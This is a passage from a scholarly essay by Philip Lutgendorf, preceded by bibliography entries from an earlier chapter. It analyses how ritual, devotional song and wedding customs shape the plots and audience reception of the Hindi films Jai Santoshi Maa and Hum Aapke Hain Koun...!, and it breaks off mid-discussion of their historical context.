———. 2003b. "Women's Songs for the Marriage of Tulsī and Kṛṣṇa in Benares." _Journal of Vaisnava Studies_ 12, no. 1: 57–65.
———. 2005. _Guests at God's Wedding: Celebrating K ārtik among the Women of Benares._ Albany: State University of New York Press.
Simoons, Frederick J. 1998. _Plants of Life, Plants of Death._ Madison: University of Wisconsin Press, 1998.
Upadhyaya, K. D. 1965. "Indian Botanical Folklore." In _Tree Symbol Worship in India: A New Survey of a Pattern of Folk-Religion,_ edited by Sankar Sen Gupta, 1–18. Calcutta: Indian Publications.
## The Roles of Ritual in Two "Blockbuster" Hindi Films
PHILIP LUTGENDORF
In ritual, the world as lived and the world as imagined, fused under the agency of a single set of symbolic forms, turn out to be the same world.
_Clifford Geertz (1973, 112)_
Popular Hindi films—the output of an industry based in Bombay/Mumbai and lately identified worldwide by the label "Bollywood"—contain a great deal of visual, aural, and thematic content that may be termed "religious," and most often "Hindu," in character.1 Such content dominated the narratives of this cinema from its historical inception, since films of genres variously identified as "mythologicals" (based on epic and Purāṇic scriptures) and "devotionals" (based on the hagiographies of religious exemplars) formed the bulk of productions during the first decade of India's silent era (1913–22). They were soon joined, however, by films that drew on different and ostensibly "secular" narrative sources, giving rise to genre labels—such as "historicals," "stunt films," "crime dramas," and "costume films"—that, like those of other cinemas, served a primarily heuristic function in the conception and marketing of films. These genres, which collectively exceeded "mythologicals" in output from the early 1920s onward, were themselves largely superseded in the 1940s by the genre of "social" film—designating a story set more or less in the present and often centrally concerned with a social issue such as caste or class prejudice, particularly as it influenced the choice of marital partners. Given the ubiquity of song and dance in popular cinema since the introduction of film sound in 1931, "social" films were also "melodramas" in the original sense of the term, typically incorporating an average of six to eight musical numbers. These, together with multiple subplots that often encapsulated previously autonomous genres such as "stunt films" or "comedies," resulted in the characteristic "epic" length (160 to 180 minutes) and "loose and fragmented" narrative structure of mainstream Hindi films during the post-Independence period—a feature that led, probably in the 1970s, to the coining of the term _mas ālā film,_ suggesting a blend of savory spices.2
Despite changing labels, however, and the comparative rarity of "mythologicals" in post-1920s Bombay cinema, religious content—often expressed through iconography, body language, or character names and plot motifs that allude to classical myths—has remained a ubiquitous feature of popular films, a fact recently confirmed by an ambitious survey (Dwyer 2006). Another of the common ways in which religion enters Hindi cinema is through the representation of ritual. Diurnal rites—such as "taking _dar śan_"; receiving _pras ād_ (auspicious viewing of a deity or holy person and acceptance of consecrated food or water as his or her tangible "grace"); performing _ā rati_ (worship with an oil lamp and other offerings, often accompanied by a devotional song) in temples and before home altars; and women greeting male relatives with a lamp and auspicious forehead mark ( _nich āvar_), as well as seasonal and life-cycle rituals, such as the annual festivals of Holi and Divali and (especially) the rites of passage attendant on marriage and death—all are recurring motifs in popular films, which have developed certain audiovisual conventions for their representation. Their common uses include the alteration of mood (through an injection of solemnity, mourning, or festal gaiety), the development of character (for example, through the representation of piety), or the suggestion of the passage of time (as in the repeated ringing of temple bells in the 1975 hit _Deewaar_ [ _D īvār,_ The Wall], which signals the lapse of twenty years in the lives of the main characters). Even brief ritual episodes are often central to the development of a film's narrative—thus the shorthand representation of marriage rites near the beginning of the legendary _Mother India_ (1957), accompanied by the first of the film's twelve songs, establishes the main character, Rādhā, as an auspicious bride and "Lakṣmī of the house" (embodying the goddess of prosperity and fecundity). This identification will be ironically referenced during a later moment of crisis when, abandoned by her crippled husband and facing likely rape by a village moneylender to whom she has gone to beg food for her starving sons, Rādhā angrily flings her marriage necklace at a silver statue of Lakṣmī enshrined in the moneylender's home. And in _Deewaar,_ the early representation of a pious and long-suffering mother's _dar śan_ at a Śiva temple, participated in by her younger son but boycotted by his angry elder brother, prefigures the latter's climactic confrontation with the deity and offering of himself as a sacrifice ( _balid ān_) to save his mother's life.
Although the introduction of such portentous vignettes is commonplace, the most celebrated Hindi films of the past half century include two that are more centrally structured around ritual performances: _Jai Santoshi Maa_ ( _Jai Santo ṣī Mā,_ 1975; hereafter _JSM_ ) and _Hum Aapke Hain Koun... !_ ( _Ham āpke haiṃ kaun,_ 1994; hereafter _HAHK_ ). Although classed in different cinematic genres ("mythological" and "social," respectively), these films show a number of intriguing similarities. Since each has enjoyed a success that may, without exaggeration, be termed phenomenal—exerting, in the opinion of both admirers and detractors, an impact on popular culture that has proven to be lasting—each has also become the subject of a modest body of critical literature.3 In the remainder of this essay, I revisit these well-known films with a focus on their ritual dimension, which has been largely neglected in previous analyses. What I find particularly interesting about these films, apart from their remarkable success and sheer entertainment value, is that ritual performances function in each in both a narrative and prescriptive manner. That is, within the film the enactment of rituals is central to the unfolding of the plot and to its satisfactory resolution, and in the context of the film's reception, these practices have come to be widely emulated, in part through "ritualized" viewings of the films themselves.
Yet in focusing on one comparatively neglected dimension of these films, I do not intend to suggest reductively that their popularity depends primarily on this element of their structure. Feature films are multifaceted texts that are susceptible to a range of interpretations, and this is all the more so in the case of Hindi films, with their characteristic length and elaborate plotlines. I agree with John C. Lyden's assessment that the bulk of critical writing on popular cinema, at least from the standpoint of religious studies, has tended to privilege narrative content, examined from either a "theological" or "ideological" perspective—the former detecting religious "symbols" in plot and character, the latter critiquing both of these, often negatively, from such theoretical orientations as feminism, Marxism, and psychoanalysis (Lyden 2003, 17–35). Such approaches pay little attention to the specifically cinematic dimensions of film "texts" (cinematography and framing, mise-en-scène, sound and music, and so on) that may convey equally compelling (and sometimes internally contradictory, resistant, or even subversive) "messages" to audiences. In closely examining a few scenes from each film, I seek to supplement existing scholarly analyses by giving greater emphasis to these dimensions and by paying closer attention to the lyrics and staging of song sequences. These have been especially neglected in scholarship on Hindi cinema, although songs constitute one of its characteristic features, typically account for 20 to 30 percent of a film's running time, and enjoy wide post- and extrafilmic circulation.4 Even scholars who concede the importance of song sequences tend to treat them as "interruptions" in the flow of the narrative, allowing for the eruption of "excess" in the form of emotion and spectacle (for example, Gopalan 2002; Thomas 1985). Yet in the case of both _JSM_ and _HAHK,_ it is precisely during song sequences that the most significant and imitated ritual activities occur. This is perhaps not surprising, since the repetitious and harmonious structure of music mirrors that of ritual and may also serve (as in the musical setting of the Catholic Mass or the lyrics of a Hindu _ā rati_) to script and prescribe ritual practice. If filmmaking in general has been compared to ritual as a "world-making" activity that creates an alternative, self-contained universe structured according to orderly rules (Plate 2008, 1–13), then the Hindi filmsong, with its typical format of rhyming verses and echoing refrain, accompanied by complex and artfully choreographed "picturization," may be said to present a world-within-a-world that both encapsulates and mirrors the larger structure of the film and that accordingly warrants close analysis within the larger filmic "text."5
In the concluding section of this essay, I discuss an apparent shift that my focus on cinematic ritual suggests, from the turbulent 1970s to the decade of growing but uneven plenitude that characterized the 1990s: the fact that _JSM_ 's subversive critique of dominant familial and religious structures appears largely undone in _HAHK,_ which reaffirms those structures around a smiling but triumphalist brand of Hinduism. I also examine how the success of both films rested, in part, on their supplying scripts for individual and collective mimesis through ritual practice and ritualized viewing.
The Fast That Satisfies
The screenplay of _Jai Santoshi Maa_ (Hail to the Mother of Satisfaction), attributed to one Pandit Priyadarśī of Hardwar, is unusual in that it is based on the genre of popular literature known as _vrat-kath ā._ This refers to a story ( _kath ā_) intended for recitation during the performance of a votive "fast" ( _vrat_ ) maintained in honor of a deity and intended to secure that deity's blessing or boon. Such observances constitute one of the most widespread forms of Hindu practice and are especially prevalent among women. Although many _vrat_ s recur annually and are explicitly observed for the benefit of male kin, others are elective both in their timing and in their aims. _Vrat-kath ā_s are usually encountered as inexpensive and often crudely printed chapbooks sold in religious bookstalls. These texts detail the procedures for observing a _vrat_ and then offer a story, the recitation of which will constitute one of its essential rites. The story may tell of the origin of the rite or, alternatively (and sometimes additionally), of its paradigmatic performance by an individual who must struggle against obstacles—often including an unsuccessful first attempt involving a ritual error that produces catastrophic consequences—before ultimately completing the _vrat_ and obtaining its "fruit."
A tearful and singing Satyavatī (Kanan Kaushal) nears the end of her sixteen-week worship of the goddess Santoṣī Mā. From the film _Jai Santoshi Maa_ (1975).
Historically speaking, Santoṣī Mā (Satisfaction Mother) seems to have originated in the 1960s in Rajasthan or western Madhya Pradesh, when a local goddess acquired this name. Whereas many such "mothers" are simply regarded as autochthonous protectors of a given locality ( _bh ū-devī,_ or earth goddess), Santoṣī Mā acquired—when and where is uncertain—a non-Purāṇic origin story identifying her as the daughter of elephant-headed Gaṇeśa and his wives, Ṛddhi (Prosperity) and Siddhi (Success). This story links Santoṣī Mā with a pot-bellied deity known for his beneficence and also places her within an extended family that ultimately includes, as her paternal grandparents, the powerful Śiva and Pārvatī. This familial placement of Santoṣī Mā, which is in contrast to the relative autonomy of many other goddesses, seems important both for her general appeal to women and for the film narrative, and indeed may have contributed to the latter's most innovative plotline: a divine "family quarrel" that pits senior goddesses against the young "newcomer" Santoṣī Mā.
Like her father and grandfather, Santoṣī Mā is regarded as "easy to satisfy" ( _ā śutoṣ_, an epithet of Śiva). Her preferred offering is raw sugar and parched _gram_ or chickpeas ( _gu ṛ-canā_), among the most inexpensive foodstuffs, and her _vrat_ simply requires an offering on Friday (the day sacred to her) of a small amount of these accompanied by abstention from sour foods (such as lime juice, tamarind, and curds) and the reading of her _kath ā._ In its reputedly most efficacious performance, this is to be observed for a cycle of successive weeks (sixteen in the film but fourteen or twelve in some printed sources), followed by the celebratory feasting (with a menu from which sour foods are likewise banned) of a group of boys—a ceremony of thanksgiving and closure known as _udy āpan._ The completion of this extended ritual is said to grant any wish of the devotee. Limited evidence suggests that the popularity of this _vrat_ was slowly spreading—by word of mouth and printed booklet and through a religious poster illustrating its key elements—among lower-class women for at least a decade prior to the film's production. Indeed Bombay filmmaker Vijay Sharma is said to have made, at his wife's suggestion, a pilgrimage to a Santoṣī Mā temple, where he received the inspiration to direct the film (Hawley and Wulff 1996, 4). It is equally clear, however, that large numbers of women had not heard of the goddess or her _vrat_ prior to the release of the film, which repeatedly alludes to the "newness" of the cult.6
Incorporating both the birth story of Santoṣī Mā (with which it opens) and the tale of a heroic performance of her _vrat_ by a sorely tried human devotee named Satyavatī (Kanan Kaushal), the film thus literally presents itself as the cinematic equivalent of a _vrat_ pamphlet, complete with its obligatory _kath ā_ and with instructions for carrying out the sixteen-Fridays ritual graphically and dramatically illustrated. To these narrative elements is added another: the audacious story to which I alluded above, in which the goddesses Lakṣmī, Pārvatī, and Sarasvatī (the latter here called "Brahmāṇi," or "Mrs. Brahmā"), egged on by the mischievous and meddlesome sage Nārada (played by the comic actor Jeevan), attempt to stop the worship of their new "rival," Santoṣī Mā, by destroying the happiness of her exemplary devotee, Satyavatī. This narrative, enacted through witty and colloquial dialogue, exemplifies the kind of "domestication" of Hindu deities that is as common in the Sanskrit Purāṇas as it is in the regional folktales on which they may often have drawn and was reportedly greatly relished by theater audiences (Kurtz 1992, 14). But quite apart from its entertainment value, the story of the jealous goddesses, brief episodes of which alternate with longer ones devoted to the central tale of the long-suffering Satyavatī, allows the film to develop a remarkable parallelism that is absent from its written precursors (Das 1980, 49). By continually juxtaposing the assault on Santoṣī Mā by senior divine women with the persecution of Satyavatī by her jealous sisters-in-law and then ultimately thwarting both through Satyavatī's successful completion of the sixteen-Fridays _vrat,_ the film makes what I term a "theo-visual" assertion of the oneness of deity and devotee—a unitary state that is both the premise and the desired outcome of much Hindu ritual, especially of the tantric variety. That such empowerment is potentially available not only to the film's heroine but also to any woman who undertakes the _vrat_ is underscored by the changing manifestations of Santoṣī Mā in the course of the film: as a girl-child in the opening scene (wished for and welcomed by her adoring mothers but "created" only reluctantly by her frowning father); as a beautiful young woman (Anita Guha) who thrice appears to rescue Satyavatī and her husband, Birjū (Ashish Kumar), from the consequences of the goddesses' and sisters-in-law's wrath; and as a white-haired, gap-toothed crone who hobbles up on the sixteenth Friday of Satyavatī's fast and miraculously provides her with the handful of offerings that her in-laws and a greedy merchant had withheld, thus enabling her to complete her vow.
The film's four catchy devotional songs ( _bhajan_ s) are all performed during acts of worship of Santoṣī Mā, thus establishing liturgical texts that may be used by worshipers—and indeed these songs have remained exceedingly popular and may still be heard on Fridays in temples and homes throughout India. The first, "Maiṃ to ārtī utārūṃ" (I perform [Santoṣī Mā's] _ā rati_), immediately follows the scene of Santoṣī Mā's birth and similarly introduces Satyavatī, who sings it with an ensemble of female dancers in a large and apparently flourishing temple to this "new" goddess. The camerawork during this lively number provides a visual intimation of the unity of worshiper and deity that I have noted above, as well as a striking cinematic demonstration of the bodily and affective practice of _dar śan_ (literally, "seeing"). Many of the long shots offer near symmetrical views of the temple in which either the goddess or Satyavatī are framed by the moving dancers. Close-ups of Satyavatī's face alternate with comparable shots of an icon (complete with glittery, motorized halo) that closely resembles the young actress; in a third variant shot, the camera peers over the goddess's right shoulder to approximate the view of Satyavatī and the dancers whom (in the understood reciprocity of _dar śan_) Santoṣī Mā sees. Indeed one full verse of the song revels in this theme of "visual communion."
Satyavatī (seen in long shot over the goddess's shoulder): There is great affection, great love in Mother's eyes.
Chorus (long shot of dancers):... In Mother's eyes!
Satyavatī (in close-up, followed by a reverse shot of the goddess's face): There is great mercy, power, and affection in Mother's eyes.
Chorus:... In Mother's eyes!
Satyavatī (in medium shot, followed by close-up): Why shouldn't I gaze, again and again, into Mother's eyes?
(in long shot over the goddess's shoulder): At every instant, a new miracle is seen in Mother's eyes!
Chorus (close-up of goddess):... In Mother's eyes!
Satyavatī's performance of this song, and her reported prayer to the goddess for a worthy husband, leads to a "chance" encounter with Birjū, the youngest of seven sons in a family of farmers. It is love at first _dar śan_ for the two young people, and (unexpectedly, given the usual protracted trials preceding cinematic "love marriages") their match is quickly sanctioned. This development is accompanied by several allusions to the auspicious union of Rāma and Sītā in the Rāmāyaṇa story. Thus Satyavatī's pious, widowed father (played by former star Bharat Bhushan in a cameo role) is reciting from the popular Hindi retelling of the epic Rāmcaritmānas of Tulsīdās when his daughter returns from her first encounter with Birjū, and he chants the well-known verse in which the goddess Pārvatī, to whom Sītā has prayed for a husband, assures her of the fulfillment of her request (1.236.7). But albeit made in heaven, this marriage, like that of Sītā, is soon to be sorely tried when Satyavatī runs afoul of the internal politics of her husband's extended family—her brothers- and sisters-in-law's jealousy of the pampered, artistic Birjū and resentment over the ease with which he has acquired a beautiful and self-chosen bride. When, through the machinations of the equally jealous celestial women (whom Nārada has informed of the growing popularity of Santoṣī Mā), Birjū learns that he is being fed the leavings of his brothers' meals, he storms off to seek his fortune, leaving his bride at her in-laws' mercy.
What ensues generally follows the _vrat-kath ā,_ though with repeated digressions to the innovative heavenly subplot. Although Birjū is believed to have drowned while crossing a river, he in fact prospers as the trusted assistant to a fabulously wealthy merchant. Meanwhile Satyavatī, branded an inauspicious widow, suffers as the slave of her in-laws, while the gloating goddesses regularly applaud from their perch above the clouds. When the family's abuse drives Satyavatī to attempt suicide, she is stopped by Nārada, who tells her about the sixteen-Fridays fast for Santoṣī Mā. The performance of this ritual—against the opposition of sisters-in-law and heavenly powers—is one of the climactic events of the film and is accompanied by a moving _bhajan,_ "Kartī hūṃ tumhārā vrat maiṃ" (I perform your _vrat_ ). Satyavatī's pleading verses, accompanied by visuals that show the passage of time by the increasing number of oil lamps on her _p ūjā_ (devotional ritual) tray and the darkening circles around her eyes, alternate with musical passages dominated by a solo flute and accompanied by scenes of the Kṛṣṇa-like Birjū (whose name is an epithet for the amorous flute player), sporting in flower gardens with his employer's voluptuous daughter—a risqué episode facilitated by goddess-induced amnesia. His apparent total abandonment of his wife gives special poignancy to her cry (accompanied by visuals that again largely alternate between Satyavatī's now-anguished face and that of a more somber Santoṣī Mā icon) for the Mother's help:
I perform your _vrat;_ accept it, O Mother!
I am caught in mid-current; carry me across, O Mother!
O Mother Santoṣī, O Mother Santoṣī!
I sit with high hopes in your court,
Why do I weep while you look on, in this cruel world?
Amend my fate, O amend my fate; make a miracle, O Mother!
I am caught in mid-current; carry me across, O Mother!
O Mother Santoṣī, O Mother Santoṣī!
When, after many trials, the _vrat_ is successfully completed, Santoṣī Mā restores Birjū's memory, and he rushes home with the wealth earned in the merchant's service. Discovering his wife's plight, he builds a palatial new house for the two of them, complete with its own temple to their patron goddess. It is here that the film's earthly plot reaches its climax, during Satyavatī's _udy āpan_ ceremony, which her sisters-in-law, inspired by the goddesses, attempt to thwart ritually by introducing sour food into the feast. This provokes Santoṣī Mā's wrath, which shakes both the earthly and celestial worlds. It leads, following another song in which Satyavatī entreats Santoṣī Mā (once again a series of close-up shot-reverse-shots alternate between the weeping wife and an icon that now appears sorrowful), to the goddess's miraculous epiphany in the courtyard, the in-laws' repentance, and, in a brief coda, the three celestial women's acceptance of Santoṣī Mā as an honored member of their divine family. The successful completion of the _vrat_ thus signals both Satyavatī's triumph on earth and that of her chosen goddess in heaven.
Two Weddings, a Funeral, and a Dog
Whereas _Jai Santoshi Maa,_ a "mythological" film about the tribulations and rewards of faith, draws on the folk literary genre of the _vrat-kath ā, Hum Aapke Hain Koun... !_ (Who Am I to You?), a largely comedic "social" film about the marital alliances of two uncommonly wealthy and harmonious families, intertextually cites a number of previous hits of Bombay cinema. Most notably it references director Sooraj Barjatya's first film, _Maine Pyar Kiya_ ( _Mai ṃ ne pyār kiyā,_ I Fell in Love, 1989), which was similarly set in a palatial home awash in consumer goods, cast six of the same actors in major roles, featured the same male star, Salman Khan, playing a romantic hero likewise named Prem (Love), and included the plot motif of a miraculous messenger-pet (a white pigeon in the 1989 film, a white dog in _HAHK_ ) who intervenes at a crucial moment in the narrative.7 And whereas _JSM_ opens with a prologue set in Gaṇeśa's heavenly mansion, _HAHK_ 's opening shot establishes an opulent earthly estate with verdant lawns big enough to allow family members to stage their own cricket matches. One is in progress as the film begins, played by gendered teams with caps that declare "boy" and "girl" respectively, announced by the comical servant Lallū Prasād (Laxmikant Berde) and umpired by the family pet, a straw-hatted Pomeranian named Tuffy. Astute viewers who guess, from the first moments of this 195-minute film, that its lighthearted plot will unfold in gamelike permutations, focus principally on romance, and involve Lallū and Tuffy as channels of higher authority will not be disappointed.8
Prem (Salman Khan) and Niśā (Madhuri Dixit) dance and tease one another during the exuberant ensemble number "Jūte do paise lo" (Give the shoes and take the money!). From the film _Hum Aapke Hain Koun... !_ (1994).
As in _JSM_ the Rāmāyaṇa is cited early on, in the context of a prospective marriage. Kailāśnāth (Alok Nath), a self-made industrialist who has foregone conjugal life in order to raise the two orphaned sons of his deceased brother and sister-in-law, now seeks a match for the elder boy, Rajeś (Mohnish Bahl), who is already a partner in the family business. A close relative, known simply by his title "Māmā-jī" (maternal uncle, played by Ajit Vachani), arranges a meeting at a pilgrimage place known as Rāmṭekrī (Rāma's hill)9 with the family of Prof. Siddhārth Caudhurī (Anupam Kher), who has an eligible elder daughter named Pūjā (Renuka Shahane). Given that Professor Caudhurī and his wife (Reema Lagoo) turn out to have been old school chums of Kailāśnāth's, the meeting of the two families is especially warm; soon Rajeś and the lovely, domestically inclined Pūjā meet and shyly give their assent to an engagement.
The "Rāmṭekrī" shrine is an idealized soundstage set not unlike the temple in _JSM,_ and it echoes with recitation of the Rāmcaritmānas and indeed with an excerpt from the episode of Rāma and Sītā's marriage cited in the earlier film (1.271.1).10 These mythic allusions are emphasized by the first diegetic song, "Vāh vāh Rāmjī" (Bravo, Mr. Rām!),11 in which members of both families celebrate the engagement ( _sag āī_) of Rājeś and Pūjā while simultaneously participating in the _ā rati_ ceremony of Rāma and Sītā. This occasions—at the conclusion of a "secular" song that playfully "congratulates" the deity for having made such a good match—a _dar śanic_ shot-reverse-shot similar to those seen in the _ā rati_ sequence in _JSM._ Meanwhile Rājeś's younger brother, Prem, has already met and been charmed by Pūjā's spirited younger sister, Niśā (Madhuri Dixit), though their romantically tinged mutual teasing goes unnoticed by other family members in the excitement of the elder siblings' match. These initial rituals are soon followed by others that occupy much of the film's running time: a second, formal betrothal and gift-giving ceremony ( _tilak, miln ī_) held at Kailāśnāth's mansion; the wedding itself, incorporating a number of subsidiary rites ( _b ārāt, dāvat, vidāī,_ etc.); the no less elaborate ceremony held to celebrate Pūjā's pregnancy ( _god-bhar ā,_ or full womb);12 and then, unexpectedly, a heartrending funeral and wake, followed by a climactic second wedding.
By Hindi cinematic standards, _HAHK_ 's plotline is sparse and linear, especially given the film's unusual length—a fact much remarked on in both popular and critical writings. During the course of Rājeś and Pūjā's engagement, marriage, and production of a son, Prem and Niśā gradually fall in love. Pūjā, happily learning of this (two hours and thirty-six minutes into the film), is about to "arrange" their engagement when she dies tragically in a fall, leaving both families devastated and her infant without a mother. When Professor Caudhurī proposes that his younger daughter take her sister's place as Rājeś's wife, Prem and Niśā realize the need to sacrifice their love for the greater good of the family.13 Only the faithful servant Lallū knows their secret, and just as Rājeś's second wedding is about to be solemnized, he prays to the idol of Kṛṣṇa in the Caudhurī family's prayer room, asking for a "miracle" ( _camatk ār_). Kṛṣṇa provides this by causing the dog, Tuffy, to deliver Niśā's farewell love note, intended for Prem, to Rājeś instead. The latter, after a dramatic confrontation, magnanimously sanctions the lovers' union, declaring that Niśā can give no less love to his son as a _c ācī_ (paternal uncle's wife) than she could as a mother.
The relative simplicity of _HAHK_ 's storyline is, however, compensated for by the baroque density of the film's mise-en-scène: the hyperbolic plenitude of the lifestyles of the two families, in homes overflowing with consumer goods, well-stocked with foodstuffs that are constantly being prepared, served, and consumed, and usually thronged with relatives, friends, and well-wishers observing joyous or solemn occasions—which unfold in a long series of comic and celebratory vignettes dense with jokes, songs and dances, and allusions to popular culture. For foreign viewers it may be challenging merely to keep the familial relationships straight, though Indians are guided by the nearly complete lexicon of Hindi kinship terms that pepper the dialogue (such as _m āmī,_ maternal uncle's wife; _b ūā,_ father's sister; _j ījī,_ elder sister; _sasur,_ wife's father-in-law; _bh ābhī,_ elder brother's wife; _samdhi-samdhan,_ bride's parents; these terms are nearly always accompanied—in this world of ultrarich _noblesse_ —by the respectful suffix _-j ī_). This plethora of labels gives an ironic twist to the film's titular question, twice posed by Niśā to Prem—"Who/what am I to you?"—and then transformed, in a final animated title in which the word _kaun_ (who) disappears, into "I am yours." Yet paradoxically it also highlights a key feature of _HAHK_ that was remarked on by many viewers: its displacement of a central romantic couple by a diffused focus on what Patricia Uberoi terms "the emblematic family"—an idealization of the patrilineal joint family from which all systemic stressors have been carefully removed (Uberoi 2001, 311, 328, 338–40).
Indeed the darker side of affinal relations in North India, which is so prominent in _JSM_ —the often agonistic relationship between bride-givers and bride-takers both during and after marriage—is, as Uberoi notes, smoothly elided in the familial world of _HAHK._ Greed for dowry is displayed only by a single character: a crassly materialistic and apparently sexually frustrated maternal aunt ("Māmī-jī," played by Bindu), who is as close to a villain as the film provides but whose attempted interventions pose no real danger and are usually played for laughs.14 Other common manifestations of the traditionally perceived inequality between bride's and groom's families are either downplayed through hyperpolite dialogue and body language or permitted to manifest as vestigial but spectacular ritual practice, displayed in the ensemble numbers "Jūte do paise lo" and "Dīdī terā devar dīvānā" (both further discussed below). Interestingly these satirical allusions to real domestic tensions were—like the expressions of jealousy by the three senior goddesses in _JSM_ —reportedly especially relished by audiences, and these two numbers remain among the most popular of the film's twelve songs (Uberoi 2001, 317, 328; cf. Kurtz 1992, 14).
That _HAHK_ 's opening rituals at Rāmṭekrī are staged as celebratory fun rather than pious worship sets the tone for the depiction of most of the life-cycle rites that follow, and the songs accompanying these center on elaborately choreographed send-ups of folk customs (here termed _ś akun,_ or good omens) rather than Sanskritic rituals. Thus the actual "marriage" of Rājeś and Pūjā, solemnized by a Brahman priest's Vedic chants and the couple's circumambulation of the sacred fire, forms a mere background prelude to the spectacular ensemble number "Jūte do paise lo" (Give the shoes and take the money!), which depicts the attempts of the bride's junior female kin to steal the bridegroom's slippers and then "sell" them back to him for a substantial bounty—a teasing reversal, observed by some North Indian communities, of the dowry presentation. Prem and his coconspirators, Lallū and Tuffy, try to thwart the theft by hiding the slippers in a fancy sweetmeat box but are outsmarted by the ladies. The song's lyrics are presented as a verbal duel between male and female soloists and choruses, and the mise-en-scène takes full advantage of the Caudhurī house's vast two-storied atrium and grand staircase. The frenetic choreography features chases, as well as the dispensing (also celebrated in the lyrics) of abundant food—here intended to distract the "boys" from their attempt to regain the shoes.
Female singer: Have a cool drink. Male singer: Not in the mood!
Female: Take some _dahi ba ḍā._ Male: Not in the mood!
Female: Eat some _kulf ī._ Male: I've had plenty!
Female: Take some _p ān._ Male: I've had plenty!
Male chorus: We've had plenty, we've had plenty!
Although critics of the film condemned the materialist excess of such sequences (Bharucha 1995), the conspicuous display of both wealth and food has long been a central component in the non-Vedic rituals associated with Hindu marriage. Indeed Tulsīdās twice "interrupts" the first book of his epic to offer multipage descriptions of weddings (those of Śiva and Pārvatī and of Sītā and Rāma; Rāmcaritmānas 1.92–102; 1.286–342), which feature feasts served on golden platters as well as such non-Sanskritic rituals as women's song sessions in which the groom and his relatives are mocked. The poet's description is said to have influenced popular practice, even becoming, in some regions, a liturgical text to accompany weddings. In _HAHK_ "Jūte do paise lo" similarly offers a model for wedding planners and an auspicious tableau of lavish consumption, even as its male-female duel serves the larger narrative by highlighting the developing romance between Prem and Niśā—who end up, after a final, frenzied chase, in an "accidental" embrace on a double bed.
An equally elaborate number is set after the film's intermission, when Pūjā's female relations and friends come to bless and celebrate her pregnancy, ritually placing a coconut in her lap and honoring her with oil lamps. In some families such rites include a women's singing program ( _sang īt_) in which risqué songs that satirize male kin are performed. Here this custom—somewhat sanitized yet hyperbolically visualized—takes the form of the show-stopping "Dīdī terā devar dīvānā" (Big sister, your brother-in-law is crazy!), in which Niśā (as herself) dances with and mocks "Prem," impersonated by his female cousin Rītā, who is now cross-dressed and made up as Prem. The accusative refrain charging that he "flirts with girls" ( _ku ḍiyoṃ ko ḍāle dānā_) is graphically pantomimed, culminating in brisk activity under a sheet and Niśā's own feigned pregnancy. The song draws on the long and robust tradition of sexually tinged humor and slang regarding the "joking" relationship of sister- and brother-in-law within the extended family (the _bh ābhī-devar_ relationship), a "natural friendship" understood to include the frisson of possible sexual attraction and even intimacy. This is indeed a common subject of women's folk songs, as well as of both men's and women's pranks and skits during occasions of social license such as the Holi festival.15 There is also a cultural tradition (dramatized in the film by Prem and his friends Lallū and Bholā) of men attempting to "crash" women's singing programs in order to enjoy the salacious lyrics as well as to find out what is being said about them. Here the friends' several attempts earn them abuse and mockery from the ladies but ultimately result in Prem's successful replacement of his drag double to complete the song in a saucy duet with Niśā (featuring the parodic opener "Bhābhī terī bahinā to mānā" [Oh Sister-in-law, please talk to your kid sister!]). In a further reversal, the song ends with Prem himself outfitted in a flimsy negligee and apparently pregnant.
Success, in Context
A shared feature of _JSM_ and _HAHK_ that I have not yet examined is that both were unexpected hits, whose success surprised and puzzled many observers. _JSM_ was a low-budget B-movie by industry standards, with unknown actors and laughable special effects; it was intended for limited distribution mainly on provincial circuits, where it would presumably attract audiences of pious rustics and small-town women. Yet within weeks of its release, its fame, spread largely by word of mouth, caused it to be booked even in major urban areas, where it drew packed houses, eventually becoming one of the most lucrative films of 1975— a status it shared with the big-budget action dramas _Sholay_ (Śole, Flames) and _Deewaar_ , both featuring Amitabh Bachchan and other A-list stars. Although _HAHK_ was an expensive film intended for wide release, the industry buzz about it, particularly after preview screenings, was that it would prove a disastrous flop: with no villains, no violence, almost no plot, and "too many songs," it was merely a "three-hour wedding video" that no one would pay to see (Ganti 2004, 168). However these predictions were quickly proven wrong; audiences flocked to _HAHK,_ and it won most of the major industry awards and soon surpassed _Sholay_ 's nineteen-year record as the highest-grossing Hindi film.
Interestingly both _JSM_ and _HAHK,_ which resolve their central crises through deus ex machina, were credited with "miraculous" success that benefited the wider film industry. Apart from being the cinematic incarnation of a _vrat-kath ā, JSM,_ as I have argued elsewhere, was also a kind of primer in the conventions of mainstream Hindi cinema, and its fame reportedly brought into theaters new audiences, especially lower-class women ("like those in the picture and others who never saw a cinema hall," as a film industry journal reported), some of whom would presumably develop a taste for cinema and come back for more (John 1975; for details on the cinematic "pedagogy" of the film, see Lutgendorf 2002, 26–35). _HAHK_ was hailed as a "good, clean movie" suitable for family viewing, and its extraordinary success was said to have reversed a decade-long trend of the "classes" (an Indian journalistic label for the educated, urban middle and upper classes) abandoning cinema halls to the "masses" (uneducated, and mostly male, laborers). This trend, which reflected the availability of televisions and VCRs that permitted at-home viewing of films by the elite, as well as the numbingly violent _mas ālā_ fare (often featuring episodes of rape) churned out by the industry during the 1980s, led to the growing dilapidation of many urban "picture palaces"—a fact noted with dismay by some who now returned to these halls to view _HAHK_ (Uberoi 2001, 310, 341n9). As a result both theaters and films began to be "cleaned up"; _HAHK_ is credited with launching a series of "feel-good" family-oriented spectacles that brought the "classes" back into cinema halls. This is especially notable since these films, too, quickly became available on videocassette (and soon thereafter on video compact discs and DVD), yet audiences continued to savor the experience of their collective viewing on the big screen.
Before I consider some of the practices that have developed around these two ritual-laden films, I would like briefly to place the initial success of each in its historical context. _JSM_ appeared in the same year in which Prime Minister Indira Gandhi, faced with growing labor unrest, mass political agitation, and charges of electoral corruption, declared a state of national emergency and assumed draconian powers. In retrospect this move and the circumstances that provoked it revealed widespread disillusionment with the performance of the Indian government and economy since Independence—the failure of the state to deliver on its promises to its people—and presaged the end of the Congress Party's long mandate. In the decade that followed, India experienced the rise of regional and caste-oriented parties as well as the increasingly strident assertion of rights by traditionally disadvantaged groups. Scholars of Hindi cinema have similarly identified this period, in terms of its predominant narrative themes, as marking the end of the nationalism and optimism of the immediate post-Independence "Nehruvian" era. Tejaswini Ganti (2004, 30–33) thematically labels the next wave of films, beginning around 1973, the "crisis of the state," and M. Madhava Prasad (1998, 118, 138–59) speaks of a new "populist cinema of mobilization" centered on "angry" proletarian heroes, often played by Amitabh Bachchan. Although such a typology clearly fits the 1975 action hits _Sholay_ and _Deewaar,_ I apply it as well to that year's other, more unexpected cinematic success story.
